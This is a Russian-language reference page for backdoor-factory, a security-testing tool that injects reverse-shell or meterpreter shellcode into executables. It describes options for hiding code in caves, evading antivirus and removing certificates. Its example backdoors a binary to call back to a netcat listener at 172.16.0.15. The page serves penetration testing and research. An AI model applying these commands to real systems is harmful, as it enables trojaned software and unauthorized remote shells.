backdoor-factory - справочное руководство, опции, примеры команд


ИМЯ

backdoor-factory - внедрить предопределенный или определенный пользователем шелл-код в двоичные файлы

СИНТАКСИС

backdoor-factory [options]

ОПИСАНИЕ

backdoor-factory исправляет исполняемые двоичные файлы с желаемым пользователем шелл-кодом и продолжает нормальное выполнение предварительно исправленного состояния.

Этот инструмент предназначен только для специалистов по безопасности и исследователей.

Этот инструмент не поддерживает перемещаемый исполняемый файл ELF (т. е. скомпилированный с параметром -fPIE, предложенным требованиями Debian по усилению защиты, см. https://wiki.debian.org/Hardening)

Двоичные файлы, такие как ssh, не могут корректно обрабатываться, в отличие от двоичных файлов, таких как dolphin (на момент написания этой справочной страницы).

ПАРАМЕТРЫ:

-h, --help

показать это справочное сообщение и выйти

-f FILE, --file=FILE

Файл в бэкдор

-s SHELL, --shell=SHELL

Полезные нагрузки, доступные для использования. Используйте «show», чтобы увидеть полезные нагрузки.

-H HOST, --hostip=HOST

IP C2 для обратных подключений.

-P PORT, --port=PORT

Порт для обратного подключения для обратных оболочек или для прослушивания связывающих оболочек.

-J, --cave_jumping

Выберите эту опцию, если вы хотите использовать прыжки в пещеру кода, чтобы еще больше скрыть ваш шелл-код в двоичном коде.

-a, --add_new_section

Обязательное добавление нового раздела в exe (лучший успех), но меньшее избегание av

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

Пользовательский шеллкод, убедитесь, что он соответствует целевой архитектуре.

-c, --cave

Флаг пещеры найдет пещеры кода, которые можно использовать для хранения шелл-кода. Это напечатает все пещеры кода определенного размера. С этим параметром можно использовать флаг -l.

-l SHELL_LEN, --shell_length=SHELL_LEN

Для использования с -c, чтобы помочь найти пещеры кода разных размеров.

-o OUTPUT, --output-file=OUTPUT

Путь к выходному файлу бэкдора. Родительский каталог должен существовать

-n NSECTION, --section=NSECTION

Название нового раздела должно быть меньше семи символов.

-d DIR, --directory=DIR

Это расположение файлов, которые вы хотите заблокировать. Вы можете ускорить резервное копирование каталога файлов, принудительно присоединив кодкейв к exe с помощью параметра -a.

-w, --change_access

Этот флаг изменяет раздел, в котором находится codecave, на RWE. Иногда это необходимо. Включено по умолчанию. Если он отключен, бэкдор может выйти из строя.

-i, --injector

Эта команда превращает фабрику бэкдоров в механизм типа охоты и внедрения шеллкода. Отредактируйте целевые настройки в модуле инжектора.

-u SUFFIX, --suffix=SUFFIX

Для использования с инжектором добавляет суффикс к исходному файлу для облегчения восстановления.

-D, --delete_original

Для использования с инжекторным модулем. Эта команда удаляет исходный файл. Не для использования в производственных системах. (Автор не несет ответственности за глупое использование.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

Начальная точка смещения на диске, в байтах. Некоторые авторы хотят запутать свое смещение на диске, чтобы избежать обратной разработки, если вы обнаружите, что один из этих файлов использует этот флаг после того, как вы найдете смещение.

-S, --support_check

Чтобы определить, поддерживается ли файл BDF, перед его бэкдором. Для использования отдельно или с подробным описанием. Эта проверка происходит автоматически при попытке взлома.

-M, --cave-miner

Будущее использование, чтобы помочь определить наименьший шелл-код, возможный в PE-файле.

-q, --no_banner

Убивает баннер.

-v, --verbose

Для вывода отладочной информации.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

Только двоичные файлы типа ALL, x86 или x64. По умолчанию=ВСЕ

-Z, --zero_cert

Позволяет перезаписывать указатель на таблицу PE-сертификатов, эффективно удаляя сертификат из двоичного файла во всех смыслах и целях.

-R, --runas_admin

ЭКСПЕРИМЕНТАЛЬНАЯ ЧАСТЬ Проверяет двоичные файлы PE на наличие «requestedExecutionLevel level="highestAvailable"». Если эта строка включена в двоичный файл, она должна работать как система/администратор. Если он не находится в режиме проверки поддержки, он попытается исправить наивысший доступный уровень в манифесте, если существует запись запрашиваемого уровня выполнения.

-L, --patch_dll

Используйте этот параметр, если вы НЕ хотите исправлять библиотеки DLL. Патчи по умолчанию.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

Для формата MACH-O. Если толстый файл, ориентируйтесь на какую арку патчить. По умолчанию х64. Чтобы принудительно использовать x86, используйте -F x86, чтобы принудительно использовать обе арки, используйте -F ALL.

-B BEACON, --beacon=BEACON

Для полезных нагрузок, у которых есть возможность отправлять маяки, установите время в секундах.

-m PATCH_METHOD, --patch-method=PATCH_METHOD

Методы исправления для PE-файлов, «ручной», «автоматический», замена и onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

Для луковицы. Укажите желаемый двоичный файл.

-X, --xp_mode

По умолчанию: НЕ поддерживать устаревшие машины XP, используйте -X для поддержки XP. По умолчанию двоичный файл будет аварийно завершать работу на компьютерах с XP (например, в песочницах).

-A, --idt_in_cave

ЭКСПЕРИМЕНТАЛЬНАЯ ВЕРСИЯ По умолчанию новая таблица каталогов импорта создается в новом разделе, при вызове этого флага она будет помещена в пещеру кода. В некоторых случаях это может привести к сбою bianry. Сначала проверьте целевые двоичные файлы.

-C, --code_sign

Для тех, у кого есть сертификаты на разработку кода, желающие подписывать только двоичные файлы PE. Назовите свой ключ подписи и закрытый ключ signingcert.cer и signingPrivateKey.pem соответственно в каталоге сертификатов, который вы можете получить, чтобы получить сертификаты подписи.

-p, --preprocess

Чтобы выполнить сценарии предварительной обработки в каталоге предварительной обработки

О шелл-кодах

В backdoor-factory есть различные предустановленные шеллкоды. Их доступность зависит от типа цели (ELF32, ELF64, PE32...). Список шеллкодов определен ниже.

для всех процессоров Intel (архитектура x86 и x86_64)

reverse_shell_tcp

нужно: удаленный хост и порт, которые нужно установить разрешает: удаленный доступ к оболочке

delay_reverse_shell_tcp

нужно: удаленный хост и порт, которые нужно установить разрешает: удаленный доступ к оболочке

beaconing_reverse_shell_tcp

нужно: установить маяк, удаленный хост и порт. разрешения: удаленный доступ к оболочке.

user_supplied_shellcode

нужно: определяемый пользователем шеллкод, готовый к внедрению разрешений: зависит от шеллкода

Специальные шелл-коды для Linux

reverse_tcp_stager

нужно: разрешений:

Шелл-коды Windows PE32 exe

reverse_shell_tcp_inline

потребности: удаленный хост и порт, которые необходимо установить; разрешения: удаленный доступ к оболочке.

reverse_shell_tcp_stager_threaded

потребности: удаленный хост и порт, которые необходимо установить. Разрешает: Внедрить DLL сервера meterpreter через полезную нагрузку Reflective Dll Injection.

meterpreter_reverse_https_threaded

потребности: удаленный хост и порт, которые необходимо установить; разрешения: meterpreter через транспорт https.

user_applied_shellcode_threaded

потребности: определяемый пользователем шеллкод, готовый к внедрению разрешения: зависит от шеллкода

iat_reverse_tcp_inline

потребности: удаленный хост и порт, которые необходимо установить, позволяют:

iat_reverse_tcp_inline_threaded

потребности: удаленный хост и порт, которые необходимо установить, позволяют:

iat_reverse_tcp_stager_threaded

потребности: удаленный хост и порт, которые необходимо установить. Разрешает: Внедрить DLL сервера meterpreter через полезную нагрузку Reflective Dll Injection.

iat_user_applied_shellcode_threaded

потребности: определяемый пользователем шеллкод, готовый к внедрению разрешения: зависит от шеллкода

Шелл-коды Windows PE64 exe

delay_reverse_shell_tcp

потребности: удаленный хост и порт, которые необходимо установить; разрешения: удаленный доступ к оболочке.

reverse_shell_tcp

потребности: удаленный хост и порт, которые необходимо установить; разрешения: удаленный доступ к оболочке.

beaconing_reverse_shell_tcp

потребности: маяк, удаленный хост и порт для настройки разрешения: удаленный доступ к оболочке

user_supplied_shellcode

потребности: определяемый пользователем шеллкод, готовый к внедрению разрешения: зависит от шеллкода

ПРИМЕРЫ

Пример пещерного кодирования двоичного файла ELF путем интеграции удаленного доступа к оболочке через удаленный прослушиватель TCP (например, netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

На хосте за IP 172.16.0.15 запустите netcat в режиме прослушивания:

netcat -l 172.16.0.15 8080

На цели запустите бинарный файл с бэкдором:

./backdoored/dolphin

Теперь на хосте 172.16.0.15 просто используйте вашу оболочку.

ИСТОРИЯ

Май 2017 г., первоначально составлено Филиппом Тьерри (фил из reseau-libre dot com)